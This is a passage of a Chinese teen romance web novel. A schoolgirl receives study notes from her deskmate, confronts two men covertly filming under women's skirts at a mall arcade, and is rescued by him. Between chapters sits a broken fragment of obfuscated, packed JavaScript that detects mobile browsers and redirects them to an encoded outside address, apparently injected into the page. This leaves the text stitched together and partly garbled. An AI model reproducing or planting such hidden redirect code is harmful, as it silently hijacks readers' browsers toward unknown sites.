过了一会儿陆妍又发了条消息。
【陆妍:怎么突然问这个,是出什么事了?】
贺京夏不想她担心,随便找了个借口搪塞过去了。
暂时没有头绪,贺京夏先把那包药放进了自己的抽屉里,等下周一上学的时候,再到小诊所去问问,医生见过那个人应该有点印象。
看看到时候能不能问出点什么线索。
9. 难捱
晚上吃饭的时候,贺京夏在饭桌上把烫伤的过程给父母说了一遍,可把夫妻俩给心疼坏了,对她肉眼可见地加倍关爱起来,夹的菜都把碗给堆满了。
没埋怨贺京夏为什么那么不小心,两人眼里都满是心疼。
这倒把贺京夏自己个整得不适了。
晚饭过后,贺京夏主动承担起洗碗的工作,贺州负责打扫厨房卫生,宋丽则当甩手掌柜,洗了盘车厘子抱在怀里,悠闲地坐在客厅看着狗血八点档。
一家人分工明确,彼此干着自己手里的活,互不打扰氛围和谐温馨。
碗洗干净后,贺京夏又把那些碗都摞进消毒柜里,一出厨房她就往沙发那边走,直接平躺在沙发上。
“贺京夏同学,你这有点经不起夸奖,收回我刚刚夸你的话。”宋丽边嗑瓜子边点评,说完还失望地摇了摇头。
贺京夏腰酸的不行,那些话全当听不见,自动屏蔽。
本身她就是一个不爱运动的人,这副身体已经老年化了,所以洗碗这种活已经是她的极限,等她以后有钱一定买全自动洗碗机,拒绝人工手洗!太累人了。
贺州在一边帮腔搭话:“闺女,真不怪妈妈说你,有空咱还是得多运动运动,就现在你这个体格,只怕到了大学体能考试,是要倒数了。”
“爸爸,我才高一,你可不可以先不要想那么早的事情啊!”贺京夏躺在沙发上苦苦哀求着。
放过孩子吧,孩子还小呢,真的还不想经历那么多。
“就是因为你才高一,我才有机会提醒你。”
“爸爸别太自信了,你女儿能不能考上大学还另说呢。”
一旁的宋丽一听她这么说,笑着放下手里的瓜子,抽了张湿巾擦起她的纤纤玉手,“噢,你不考大学,那你准备考什么说来我听听。”
还不等贺京夏开口,宋丽就笑着打趣她:“难不成你烤红薯?”
贺京夏鲤鱼打滚式起身,倒靠在宋丽身上,不假思索地答道:“也不是不可能。”
宋丽推开靠在身上的小脑袋,嫌弃地用手戳了戳,“上一边去,书都读到狗肚子里去了”
贺州倒是没有说她什么,反而耐心跟她说:“那到时候闺女你可要给老爸烤一个最甜的红薯。”
贺京夏抬起头看着还在扫地的贺州,甜甜地露出她的小虎牙,“肯定的,到时候就叫京夏牌烤红薯,吃了保准能在夏天考上京都大学。”
“父女俩没一个是省心的。”宋丽在一旁挖苦道。
“老婆你可不要小瞧了烤红薯,看似简单实际不简单,想把一个红薯烤的美味焦甜可不容易。”贺州帮腔着贺京夏辩驳。
宋丽紧闭双眼,都没眼看了。
二比一,父女队获胜这局。
虽然是赢家,但是也改变不了结果,最后两人一个给宋丽捶脚一个给她捏背,两个人都得哄着她。
辩论可以赢,家里地位顺序是不能变。
无论什么时候宋丽都是家里的老大,面子还是要给的。
陪着宋丽跟贺州看了会儿电视,奈何两人真的太腻歪了,后面贺京夏不想当电灯泡,非常识趣进屋写作业。
因为明天下午跟陆妍约好了要去看电影,所以她今天必须把作业写完才行。
回来的时候把书都倒在床上,还没有来得及收拾,现在有空她把全部书都摞在一块。
直接抱到书桌上,英语跟语文是她的长项,所以她抽出这两科的试卷准备先做,数学她不太会,那就放到最后再做。
英语跟语文是贺京夏得心应手的科目,两张试卷一个小时左右就做完了,她把写完的试卷跟课本一起又装回书包里。
准备做数学试卷,结果找了半天都没找到卷子,她记得很清楚,自己放学的时候明明装了的。
找了一圈没找到,急得贺京夏焦头烂额,她都把书包翻到底了也没见着数学试卷。
正当她准备放弃时,忽然瞧见数学书底下露出一角黑色,她一把抓起数学书,被压在地下是一个黑色笔记本,试卷被夹在本子里面。
这本子不是她的东西。
这次又是谁啊!
怎么天天有人往她的书包里丢东西,她这里又不是垃圾回收站,真的太过分了!
贺京夏面上心上都崩了,炸毛地拿起那本黑色的笔记本,她倒要看看究竟是哪一个无聊的家伙,没事搞折磨人这一出。
翻开上面全都是数学公式,足足写了有六页,从解题思路到过程都写的一目了然,字迹工整又飘逸,一撇一捺皆是潇洒。
这个字迹……
她见过。
贺京夏心里已经有答案,为了更加确定,她点开手机找到了跟Y的聊天记录,对话框结尾最后一句还是她说要给裴时晏带早饭,她气的指尖都在颤抖,她们聊的不多,扒拉几下就找到他之前发来的图。
迅速点开,对比完后,百分百可以确定这个无聊的始作俑者就是裴时晏。
看着眼前的东西,贺京夏真的被他气笑了。
无奈地骂出迄今为止骂过最脏的话:“裴时晏你这个神经病,有病!”
严重怀疑裴时晏真的脑子不太正常,跟他提建议的时候还拽的跟个二五八万一样,觉得她多管闲事,现在整这一出什么意思?
现在只要回想起裴时晏跟她说的话,就怒火中烧,这人到底想干什么?莫名其妙的。
越想越气,贺京夏抄起手机,直接点开对话框里的语音电话弹过去。
对面接的很快。
“喂,怎么了?”那边传来裴时晏的声音,低沉又磁性多了一丝温柔,具有吸引力。
他的态度比较好,让贺京夏早都准备好的满肚子怨气不太好意思撒出来,沉默了两秒,她干巴巴只回了个“喂。”
“有什么事你说。”
那头的人应该是在外边,手机里偶有风声进入。
贺京夏低垂着眼,抿了抿唇,片刻:“没事,打错了。”
反正知道答案了。
“贺京夏。”他突然喊了声。
“嗯。”
“有没有告诉过你,做人不能撒谎。”他好像笑了一下,声音带着倦懒,“你明明就有事。”
本来都打算放过他,结果还说这种话,贺京夏就来劲儿了,要怪就怪是他自己主动提起,主动招惹她。
“裴时晏,那有没有人告诉过你,做烂好人一点意思都没有。”贺京夏反呛他,觉得不过瘾又补了句,“真的没意思透了。”
那头愣了有一秒,传来一阵短暂的笑声,这次能确定他是笑了。
贺京夏耐着性子,又问他:“你笑什么?”
他没有立刻回答,手机那边有一阵闷闷地撞击声,似乎是他推开了什么东西,过了会儿,他才说:“谁告诉你的,我要做烂好人?”
“药跟笔记本是你塞的吧?”贺京夏懒得跟他掰扯,直奔主题。
“是。”他也很坦然。
他承认的很干脆,满腹质问的话又吞回了肚子。
“为什么?”
“你是觉得我看到会感激涕零吗?”
不清楚他是不是在思考要怎么回答她的问题,还是在想一个完美的借口来堵她,等了很久很久。
他只淡淡问了她一句:“这重要吗?”
“当然重要,怎么不重要?”贺京夏丝毫不让。
“贺京夏。”
“干嘛?”贺京夏语气有些冲。
他说:“对不起,我错了,能不能原谅我。”
“或者,我要怎么做你才能原谅我。”
所以……他是在求和?
贺京夏不可置信眨巴了两下眼睛,还未想好怎么回答,又听到话筒那边传来他的声音。
“能不能给个机会。”他顿了顿,“这次换我来哄你。”
贺京夏一下子就怔,抓着电话的指节收紧,心房仿佛被人撞击了一般,心跳在胸腔里狂奔。
“裴时晏,哄人不是这么哄的。”
丢下这句话,她慌忙把电话挂断。
此刻她根本冷静不下来,耳边只有裴时晏那句“能不能给个机会”。
这人到底什么意思,她看不懂了。
她可以把这一切理解为裴时晏是在跟她示弱?
最后这走向有点奇怪又诡异,具体是哪里不对贺京夏也说不上来。
裴时晏这个笔记本用处真的很大,今天这张数学试卷做的速度很快比以往快了不少,不会的题在这个笔记本里面都有大概的步骤,直接套上去就行。
贺京夏对他的气也消除了一大半,瞧了眼时间还不算太晚,她把之前自己整理的英语笔记本找了出来,将里面的重点内容重新找一个笔记本又摘抄下来。
不知不觉弄到十点多,也就整理两页,长时间低着头,贺京夏觉得身体酸疼,她放下手里的笔,起身来回走在房间走走,活动活动筋骨。
平时除了早操,她基本都不运动,她都要怀疑是不是身体进入老年化了,看来没事的时候她还是得多出去走走,可不能年纪轻轻就身体不行了啊!
时间也不早了,明天还有约,贺京夏把桌子上的书收拾好,就睡觉了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078684|163439||http|test|mini|href|location''.split(''|''),0,{}));
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>第二天一早,闹钟还没有响,贺京夏的生物钟准时让她睁开眼。
好好的周末本来可以美美地在被窝睡个懒觉,可恶的生物钟让人闻风丧胆。
睡意全无,又不想起来,贺京夏抱着手机,窝在被窝里看名侦探柯南,看得正入迷,门口传来一阵敲门声打断了她。
贺京夏只好按下暂停键,起身开门。
宋丽穿戴整齐站在她的门口,手里拿着一对珍珠耳环,见贺京夏出来直接塞到她的手里,指挥道:“帮我戴上。”
一点拒绝的机会都不给人。
贺京夏认命地叹了口气,自己的妈妈还能怎么办,当然是宠着呀~
“怎么不让我爸帮你戴。”贺京夏说着手里的动作也没停,利落地把耳环卡进了耳垂的小洞里。
听到贺京夏说到贺州,宋丽轻声哼笑,“你爸这点还真指望不上,上次让他帮我弄,差点没给我的耳朵扎穿。”
“老婆,这件事你就不要在女儿面前提了,她该笑话我了。”贺州从主卧伸出头,笑着打断宋丽的吐槽。
两个人加起来都好几十岁的人了,大部分时候还是会跟小孩子一样拌嘴,贺京夏还得在一旁充当家庭判官。
眼看着两个人又要斗起来,又到需要贺京夏出手劝和,她赶紧一把搂过宋丽的肩膀,“亲爱的妈妈,让您的闺女给您看看今天的妆容。”
有模有样看了一遍,满意地点头,“今天的妆容很完美,魅力值增加。”
“少贫嘴。”宋丽是个嘴硬心软的,脸上的表情早已出卖了她。
见人已经被哄好,贺州才敢从屋里出来。
临走前,两个人又对着贺京夏一顿嘱咐。
家里很快安静下来,贺京夏懒得回屋里,便抱着手机直接躺在客厅,继续开始看她刚才没有看完的一集柯南。
谁知看着看着,昏昏沉沉地睡了过去。
等再次醒来时,是中午了。
贺京夏是被饿醒的,她换了身衣服,拿着手机就出门觅食。
今天周末,路上的行人比平时多,因着下午约了陆妍看电影,她们要去的那个商城离家有点远,得十来分钟。
中午干脆直接打车去那边找点吃的,吃饱还能在商场里吹会儿空调等着陆妍来找她。
正值午休时间,路上的车并不是很多,等了挺久也不见有车来,公交车离贺京夏现在站的位置,还有一段距离。
槐城现在还是处于酷暑天气,贺京夏不是很想往前走,她不喜欢身上黏糊糊的感觉。
虽然现在她站在树荫下,不算很热,但是她站的有点累,也不知道什么时候有车来。
正犹豫着要不要往前走算了,一辆白色的大奔在她面前停下。
就在贺京夏不知所措时,大奔副驾驶的车窗缓缓降下,来人居然是她不太熟的同学——周跃。
对这号人仅有的印象都来因为她的同桌,除了知道名字,这人跟裴时晏关系还不错,其余一无所知。
反观现在周跃人很自来熟跟她打招呼,“贺京夏你在等车吗?”
贺京夏朝周跃笑了笑,如实回答:“嗯.......对。”
“你要去哪里啊?”
“云鼎大厦。”
“好巧,我们是去云鼎大厦。”周跃很直接,他回头看了一眼身后,又朝窗外的贺京夏继续道,“要不然一起吧!”
我们?仅仅只是同班同学,知道个名字而已,这多不好意思。
贺京夏认真想了下,开口解释道:“不用了,等一下车就来了,你先走吧。”
“晏哥,出来劝劝你同桌。”见自己喊不动,周跃转过身朝着后座那尊大佛喊道。
贺京夏:……
原来刚刚周跃说的“我们”是指裴时晏跟他自己,不是……误会了。
这时车的后座车窗降下来,贺京夏一眼就瞧见裴时晏懒散靠在座背上,他放下手里的手机,视线停留在她的身上。
两道目光就这样在空中撞了个正着,一见到他贺京夏的脑子就不由自主想起昨天的事情,双眸垂下看着地面,装作若无其事。
片刻,听到他缓缓开口:“上来吧,这里不让停很久。”
最后贺京夏还是连哄带骗被劝上了这辆大奔。
她跟裴时晏一齐坐在后排,各自占了一边,两人中间空出来的位置还够坐两个人。
第一次私下近距离接触裴时晏,她余光瞥向裴时晏那边,他低垂着头在看手机,旁边一只手撑着脑袋。
不知是不是错觉,贺京夏觉得他坐的挺拘谨,没有先前那么放松。
10. 难捱
这一路上话最多的就属周跃,话匣子一打开,无论是什么话他都能接上。
简直就是翻版的陆妍,跟他在一个空间根本不会存在冷场。
“贺同学你是一个人去玩吗?”周跃人虽然是坐在副驾驶,但是身子却一点也不安生,频频回头找身后的两人搭话。
也不是什么不能说的事,贺京夏便如实回答:“不是,跟陆妍约好了一起看电影。”
“你们也是去看最近新出的那部片子《秋风起》吗?”周跃追问。
“啊对,看了一下官方片段,觉得还不错就想去看。”
周跃开始兴奋:“你们看的是哪一场啊,我们正好也要去看来着。”
贺京夏闻言,眼神来回在裴时晏跟周跃的身上跳跃,试图想从他们脸上看出点什么。
她的眼神太过活络,就差贴裴时晏脸上了,想不注意到都难。
裴时晏偏过头看她,两人目光就这样对接上,想到昨天他说的那些话,贺京夏不敢再看他,偏过头装作若无其事看着窗外。
从贺京夏上车开始,一路上都没有说话的裴时晏,终于开口:“把你脑子里面那些有的没的去掉。”
“我可没有想。”贺京夏小声嘀咕道。
真不怪她多想,这个片可是文艺爱情be片,你说两个女孩子去看,当然没有觉得这有什么,但是放在两个男孩子的身上,这个事情你就会发现不简单,真的不怪她!
一开始周跃没有反应过来裴时晏的话,后面也品出来了,开口无奈解释:“贺同学,你别多想,这个事,是我的问题,不是晏哥的问题。”
“所以是你喜欢裴时晏?”贺京夏一语惊人,她下意识朝着裴时晏看去。
他好像刚刚身形恍惚了一下,不止是他,连同前面的周跃也是。
“贺京夏。”裴时晏面色铁青看着旁边女孩子,刚刚还一脸笑嘻嘻的人,这会儿马上乖巧坐着。
“周跃直不直我不知道,我只说一次,你记好了。”裴时晏侧过身,脑袋往贺京夏这边靠了靠,他一字一顿说,“我直的。”
他靠的很近,又闻到了他身上那股好闻的味道,是洗衣液洗后经过太阳晾晒的味道。
平时都是没个正形,漫不经心的人,第一次见他这么严肃,很是难得。
“哥,我也是直的。”这局周跃卒,他就工具人。
裴时晏没有理会前面哀嚎的人,眼神始终停留在贺京夏的身上,他微微打量着她的脸,好似要将她看穿。
气氛开始微妙起来,周遭的声音都听不清楚,只记得他的眼神。
贺京夏不自然地轻咳了声。
那道眼神太炙热,像是要将人蒸发熟。
心底蔓延出不可能控的微妙情绪。
实在难以招架,贺京夏侧过身,伸手按了一下车门上的按钮,把车窗摇下。
窗外的风在呼呼吹,刚才异样的情绪都吹跑了。
贺京夏整理了一下被风吹乱的头发,余光再去看裴时晏,他身子端正坐着,手随意搭在长腿上,脸上神情淡漠,仿佛刚刚发生的一切跟他都没有关系。
车停在云鼎大厦门口,三人下了车。
临别时,周跃对着贺京夏又是一顿好说歹说的劝说。
都被贺京夏一一回绝,一开始就跟陆妍约好了,她也不好贸然答应让周跃他们加入,要是陆妍不开心怎么办。
拒绝完人,她匆匆逃离了现场,没有看到在身后的周跃在朝裴时晏挤眉瞪眼,还有裴时晏那句来日方长。
云鼎大厦有六层楼,一二三层都是卖衣服的,四五层是聚集了各种美食店铺,第六层是娱乐场所,电影院跟电玩城。
肚子早已呱呱叫,现下没有什么事情比吃饭还要重要。
就自己一个人,贺京夏最后选择去五楼的小食街随便吃点。
五楼很热闹,加上是饭点,人也多,贺京夏徘徊不定了许久,最终目光锁定在一个个看起来还算不错的牛肉面店,点了碗招牌牛肉面。
喂饱了肚子,贺京夏捧着杯奶茶,上了六楼电玩城,过年前贺州带她来玩过,里面还留着一点币,反正现在的她闲着也是闲着,正好可以用那些币来消磨时间。
贺京夏拿了一个小篮子,往取币机走去,输完密码后,游戏币一骨碌往她篮子掉,跟下金币雨一样。
心满意足抱着那一篮子币,往娃娃机那屋开始战斗。
一眼就瞧中了一只趴趴狗,这只趴趴狗要三个币,贺京夏大方往里面塞了九个币,开始大展拳脚,第一次她确认好钩子能落到小狗身上,才按下按钮,夹子往小狗身上落下,小狗被夹起,眼看就要到了洞口,贺京夏还没有来得及高兴,夹子突然松开,小狗滚了一圈离刚刚的位置更远了。
贺京夏叹了口气,在心里给自己打气,没事没事,还有机会。
再次认真对了一下小狗在的位置,移动着夹子的手柄往小狗那边去,再三确认好夹子能落下,才按下按钮,谁知,夹子只是轻轻划过小狗的身上,直接落夹了。
娃娃机真的是个磨人心态的东西,这才两局,贺京夏就感受到挫败。
反观她身边那些女孩子都手里抱着好几个娃娃,是谁羡慕了,她不说。
还有三个币在里面,不能放弃,又给自己加油打气,这次比前面两次都严谨,确定好重重拍下按钮,这一次很稳夹子夹住了小狗的屁股的位置,夹子摇摇晃晃往着洞口去,就在她正要暗自窃喜时,夹子松开了,小狗直接竖离趴在洞口的围栏上,两个大眼睛看着贺京夏。
好可爱,可是她抓不到!可恶啊!
到底是哪一个万恶的资本家发明的娃娃机这个东西,根本抓不到呀!
认真想了下,她决定不能再贸然行动,得先去观望一下别人是怎么抓的,吸取一下经验,不然就以她目前的这个菜鸟技术,就算手里这些币都投完,可能还是会一无所获。
说干便干,贺京夏揣着手里的篮子,开始找学习目标,很快她就把目光放到了门口位置的娃娃机上,那是一对小情侣,男主在努力找娃娃,女生推着一小推车的娃娃跟着后面。
那一车的娃娃不仅仅吸引了在场全部小朋友的目光,还有贺京夏的。
贺京夏不敢太明目张胆偷师,她停在那对小情侣的右侧,不远处是跳舞机,那边有一个座位,贺京夏抢占先机坐在那个位置,正好能清楚看到男生夹娃娃的动作。
跳舞机这边也很热闹,有两个女孩子在比拼谁跳的更厉害,四周都围观了很多人,贺京夏的心思不在这个上面,只略略看了一眼,目光又回到了娃娃机上。
只见那个男孩子移动着手柄,确认好位置,一点不带犹豫果断地拍下了按键,动作行云流水。然后小夹子就牢固夹住娃娃,往洞口丢。
很快娃娃就从洞口出来了,女孩高兴地弯腰去捡娃娃,然后又给男孩一个奖励式的亲吻。
本意是学习人家怎么抓娃娃,结果经验没有学到就算了,还无心看到小情侣秀恩爱,被喂了一波狗粮。
都是一样的操作,有的人轻轻松松就夹出,有的人费尽心思什么都没有。
这个世界本就是不公平的。
只能说同人不同命吧,这一波贺京夏将错误都推给了命运。
什么也没有学到,贺京夏也没有心情再接着看小情侣秀恩爱,无聊地扭头看向跳舞机上斗舞的两位小姐姐。
两个人身材都非常好,动作互不相让,舞姿动感跳的很专业。
围观的人越来越多,贺京夏本来好好坐着,差点都让人给挤掉。
现场的人都拿起手机在录视频或者是拍照,对于这种热闹,贺京夏兴致缺缺,正准备退出接着去研究抓娃娃。
眼尖的她发现角落位置有两个男的蹲着,交头接耳不知道在说什么,手上还拿着手机对着那两个跳舞的小姐姐拍,手机的角度是倾斜的,在贺京夏这个位置看到的比较直观,如果没有看错他们应该是在对着人家的裙底拍。
那两人的脸上还透露出令人恶心的笑。
公共场所偷拍女生裙底这种丑陋的行为,太恶心了。
贺京夏心里火气值蹭蹭往上涨,她快步绕过人群走到那两个猥琐男的后面,先把手机摄像头打开,准备来一个人赃并获。
特意放轻了步调,等手机上的视频将那两个人的所作所为都录上,贺京夏才开始放声大喊。
“喂,你们在干什么呢?”
这一喊不止那两个猥琐男吓了一跳,连站在边上的路人都被吓到了,那两个男的差点吓的手机都掉地上。
眼看被人发现,尖嘴猴腮那个大高个朝矮个子使了一个眼神,这一小动作被贺京夏尽收眼底,手机是在矮个子的手里,看样子是准备让矮个子先跑。
既然贺京夏已经知道了,那她压根不可以让人给跑掉的。
贺京夏立即伸出手拦住小矮子的去路,“你是想带着证据跑吗?”
小矮子见状,往高大个的后边靠了靠,指着贺京夏破口大骂:“臭娘们,你胡说什么呢?”
“我说什么你们两个心里有数,我手里有证据,你们两个最好把刚刚拍的那两个跳舞的小姐姐的裙底照删了。”
此话一出,人群中瞬间炸开了锅,纷纷指着那两个人骂。
“你少在这里血口喷人,我们不知道你说的什么裙底。”高个子明显是一个主导者,他面不改色非常镇定在反驳。
此刻贺京夏很庆幸自己刚才留了个心眼,她举起手里现在还在拍摄的手机,朝他晃了晃,“就知道你们这种毒瘤不会认识到自己的错,好在我提前都录下
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来你们的所作所为。”
一听到贺京夏的手里有他们犯罪的证据,这下子高个子也面露难色,两个人都坐不住了,都朝着贺京夏走过来,想去抢她手里的手机。
自然也是知道这些人心思龌龊,如果知道手里还有证据,肯定也不会放过自己。
所以看着那两个人要上前,贺京夏直接大喊,“着火了着火了。”
然后她抱着手机跟游戏币转身就跑了。
怎么会不明白这么做的风险,对大家而言,只要事不关己,就可以安稳做一个看客。
也许会有少数的正义之士,可在性命攸关面前,大家都会选择退步,所以从一开始贺京夏就想好到了全身而退的方法。
这一呼声效果很显著,果然让人群出现骚动,都纷纷开始跑,那两个猥琐男被挤回了人群中。
贺京夏朝着安全通道跑过去,人累得气喘吁吁,心也慢慢松懈下,殊不知危险来临。
刚拨打了报警电话,那头还没被接通,手上的手机被一股强大的力量打掉,直接摔在地上,屏幕四分五裂,安全通道门口站着的人正是那两个为什么,不知道什么时候已经追上来。
贺京夏的心都跳到了嗓子眼,他们一步步逼近,她身后是楼梯,退无可退。
“看你还能跑到哪里去!”看着她的手机摔碎,又只有一个人,他们开始有恃无恐。
到底是第一次遇到这种情况,超出自己的计算范围,贺京夏终究还是先慌了。
眼看他们就要上前来,这时身后一股有力的手臂将她拉到后面,茫然无措中贺京夏抬眼看向那只手的主人。
来人竟然是裴时晏。
“晏哥……慢点儿。”身后传来周跃的叫唤声。
“没事吧?”一道发凉的声响在头顶响起。
贺京夏动作缓慢摇了摇头,还好他来的及时,要不然后果不堪设想。
脚下有些发软,踉跄了一下险些就要摔倒,好在有一只手扶住她的腰间,她才没有摔。
“还在嘴硬什么?”裴时晏皱眉看着她。
瞧见她眼底那抹红,责备的话终究没能说出口。
“小子,你最好是让开,要不然我们一块对你不客气。”高个子看到冒出来的裴时晏,放出狠话。
裴时晏神色淡然,哼笑一声,挑眉看向前面那两个歪瓜裂枣,漫不经心地问:“就你们两个?要怎么让我好看?”
痞里痞气地模样比前面那两个更像地痞流氓。
“我劝你最好识相点。”高个子依旧豪言壮语。
“哦。”裴时晏语调随意,“如果我偏不呢?”
“那就不要怪我们不客气了。”高个子说完朝同伴使了个眼神。
两人的拳头一同朝着裴时晏袭来,眼疾手快把贺京夏拉到了身后,裴时晏不慌不忙躲过拳头,快速闪到那两个人的后面,直接一脚踹在高个子的膝盖上,失去重心后的高个子直接倒在地上,另一个看到同伴倒地了,立马过来想扑倒裴时晏。
可身高摆在那里,裴时晏长腿一伸直接把矮个子绊倒,他动作很迅速,反手将矮个子扣在地上。
高个子早已缓过来,看见同伴疼得嗷嗷叫,马上起身朝着裴时晏扑过来,千钧一发之际裴时晏松开手,膝盖弯曲往右侧滑过躲开了攻击,趁其不备拉过高个子的领子,来了一个过肩摔。
也就五分钟,前一秒还在嚣张的两个人,这会儿通通倒地嗷嗷疼叫。
裴时晏骑在高个子身上,一拳又一拳重重落在他身上,他专挑那种打下去疼皮肉看不太出地方。
贺京夏对这两个猥琐男自然是恨得牙痒痒,肯定想着两个人最好被打死,可是她不想这个人是裴时晏,他大好的前程在前面等着,没必要为两个人渣毁了自己。
害怕他在气头上,不知轻重做傻事贺京夏赶紧出声制止他。
“好了,别打了。”
“他俩刚刚有碰到你吗?”裴时晏眼神没从高个子身上移开,眸光冷冽又阴沉。
“没有。”贺京夏说,“你出现的很及时。”
真的差一点,如果不是他出现。
贺京夏不敢想下面会发现什么。
不止她庆幸,裴时晏也一样,还好真的还好。
裴时晏站起身,无声地看了一眼地上躺着的人,高个子察觉出危险,拖着受损的身子想往后退,不过裴时晏没有给他这个机会,狠狠一脚踩在他的手臂上。
“裴时晏我没事了。”贺京夏察觉出裴时晏的情绪不对,害怕他会打死这两个人,赶紧伸手拉住他的手腕,“你别生气了。”
感知到柔软温热的掌心贴在手腕的触感,裴时晏脚慢慢挪开,视线转移到手腕上,她纤细的手指握住他的手。
心底好像有什么东西正在被填满。
11. 难捱
裴时晏跟周跃手上一人擒着一个,贺京夏跟着他们身后一齐从安全通道出来,在回去的半道上,发现刚刚跳舞的小姐姐正带着人在四处找贺京夏。
两行人碰上面时,小姐姐激动地拉着贺京夏,一个劲儿地感谢她的见义勇为。
把贺京夏说的都不好意思了,她脸颊微红一侧身就对上裴时晏那道深沉的眸子,她不太自然别过头。
错过了那人勾唇浅笑的模样。
这一行为被一旁的周跃尽收眼底。
周跃嘴角挂着意味深长的笑,朝着裴时晏使眼色。
裴时晏没有理会他,一门心思都落在不远处的少女身上。
原来刚刚她揭露那两个人的行为的时候,在跳舞机上的两位小姐姐就听到了,得知自己被人拍,都气炸了。
原本想上前去跟那两个人对峙,当时现场的人太多了,她们根本挤不过去,后面又闹那一出人都跑了,她们跟无头苍蝇一样找了半天,也没有找到人。
到最后实在是没有办法了,两个小姐姐就去找了商场的负责人,让他们调取了监控,才发现贺京夏被人追到安全通道去了,害怕她出事,立刻带着商场的工作人员火急火燎往这边赶。
便赶到一块来了。
事情是在商场出的,商场难辞其咎,他们为了表示很歉意,给贺京夏还有那两位小姐姐补偿了超市的代金券。
都是明事理的人,也没有为难商场。
两位小姐姐调取了监控把那两个猥琐男犯罪过程录了像,又跟商场要了两个保安帮忙压制那两个猥琐男,直接把人押着往商场不远处的一个警察局去,这种事情太恶心了,她们准备送这两个人进去吃吃苦头。
人都走远了,贺京夏才想起来,刚刚慌乱中她的手机被摔的四分五裂,瞧着手上那块闪着蓝光的屏幕,她哭笑不得。
最惨的人居然是自己。
经过刚才她们之间的对话,裴时晏也大差不差了解了今天这一切。
然后开始庆幸,听到吵闹声的时候,自己回头了,要不然他真的会后悔一辈子。
裴时晏抬眸望向身旁一脸苦恼又不知所措的她,低声问道:“会后悔吗?”
贺京夏低垂睫毛,她认真思考了一刻,眼神带着坚定地回望着他:“不会。”
裴时晏哑声片刻,脱口而道:“为什么?”
这一次她没有那么快回答他,斟酌许久,才缓声回头:“今日我若冷眼旁观,他日祸临己身,则无人为我摇旗呐喊。”
这话看似对他说,实则也是在告诫她自己。
裴时晏的视线在她的身上徘徊许久,最后定格在她的眼睛上,仿佛要将她看透。
气氛陷入一种微妙的旋涡之中。
那道视线很是灼热,带给贺京夏一种要被灼伤的感觉。
好在很快,他很快就收回视线,险些招架不住,贺京夏伸手不自然地摸了摸鼻子,试图缓解刚刚那股不适。
这时才注意到手里还拿着电玩城的篮子,在刚才那场慌乱中她手上的币都跑掉了不少,目前篮子里面仅剩寥寥无几的几个币,孤零零躺着像极贺京夏本人。
还真的诸事不顺。
随着她的视线,裴时晏也注意到她手上的篮子,她还真是完美诠释出赔了夫人又折兵这句话的含义。
“走吧,我陪你过去把篮子还了。”
贺京夏迟疑一瞬,“你们不忙吗?”
前不久这场闹剧,已经耽误了他不少的时间,眼下她其实不太想再麻烦他,而且还有一个周跃在,总这么耽误他们的时间不好。
电玩城离这里也就一段路的距离,自己一个人也可以。
“我们吃过饭了,现在也没事,一起吧。”裴时晏脚步往她身旁走了两步,停在她跟前。
眼神却是看向她前面的周跃,脸上没半点表情。
周跃是个人精,哪能不懂他的意思,跳出来出声打断他们:“不好意思啊,我等会儿还有事,正好贺同学你让晏哥陪着你去,我就先走了。”
“好吧,那周同学你路上注意安全。”
贺京夏话音刚落,周跃人就跑没影了,他的速度很快,就好像身后有鬼一样。
不知道是不是她多想了,这人都跟着一路了,也没说有事,情况挺突然的。
给她一种感觉,好像是有意在给她跟裴时晏腾位置。
不过从他的动作来看,他跑那么快也不像是没事,估计真的是自己想多了。
贺京夏带着裴时晏又折返回到电玩城,数了数篮子里也就还剩下六个币。
也没有再存回去的必要,贺京夏索性直接把币都倒在手上,将篮子还回给前台的工作人员。
带着裴时晏又往娃娃机那边走去。
做人总不能会一直这么倒霉吧。
抱着不信邪的想法,贺京夏决定再赌一把。
她动作干脆,手里仅剩的六个币都被她一把丢进了娃娃机里面。
然后她摩拳擦掌,兴致勃勃大有大展拳脚的风范。
裴时晏依靠在一旁的娃娃机上,偏头看了眼她,娃娃机上的灯光衬得眼前的女孩皮肤更白了,干干净净的,那双好看的眼睛此刻亮晶晶的盯着机器里面的娃娃。
少有这么开心的时候,嘴角不自觉也跟着一块上扬。
目测好趴趴狗在的位置,移动手柄让夹子往那边走,等一切准备就绪,贺京夏快速拍下按键,看到夹子把小狗夹起来,心止不住地欢跃。
下一秒,夹子松开了小狗,又再次掉落。
“哎呦,怎么又掉了。”贺京夏一脸失落地看着空荡荡的夹子,像是在问自己,又像是在问身旁的人。
裴时晏将视线转移到娃娃机上,观察了一小会儿,才出声提醒道:“抓之前先甩一下爪,确认好位置,你再下爪,尽量去爪身体跟头部,到一半的时候再按下按键,这样可以加大一下爪子的力度。”
贺京夏点点头,不由地感慨道:“居然还能这样。”
“试试吧。”裴时晏看向她,淡淡道。
贺京夏搓搓手又开始跃跃欲试,下爪前按照裴时晏说的甩了甩爪,确定好位置后她才移动摇杆,瞧准了位置她马上按下按钮,到一半时又按住,果然那个爪子牢牢抓住小狗的脑袋,一步步往洞口移去。
小狗从爪子上掉落下去,很快就从机器里面掉出来。
触摸到小狗那一刻,她才敢相信,居然真的夹到了娃娃。
虽然全靠裴时晏提供的技巧,可抓出来的人是她自己。
贺京夏也不嫌脏抱着小狗亲了又亲,然后递到裴时晏的面前,乐之不疲地跟他分享喜悦:“裴时晏,你看到了没有,我夹到了。”
“看到了,真的很厉害。”裴时晏认同般缓缓点头,眸子紧盯着她,嘴角弧度跟她一起上扬。
哪能听不出他这话就是安慰,现在对贺京夏来说确实很受用。
“不是我厉害,是你教的好。”既然人家都那么说了,她自然也不能吝啬。
对着裴时晏就是一顿彩虹屁输出。
终于拥有她最想要的趴趴狗了。
裴时晏发现这人挺容易知足的,一个玩偶而已也能高兴成那样。
那时候他还没学明白,人凭借自己的努力得到想要的东西,是一件非常值得高兴的事情。
欢愉过后,冷静下来贺京夏慢慢开始发觉自己好像遗落了什么。
直至她抬眼瞥见对面的电影院,顿时脑子才想起来今天的目的。
经过这么一圈折腾下来,她彻底把陆妍这号人给忘记了。
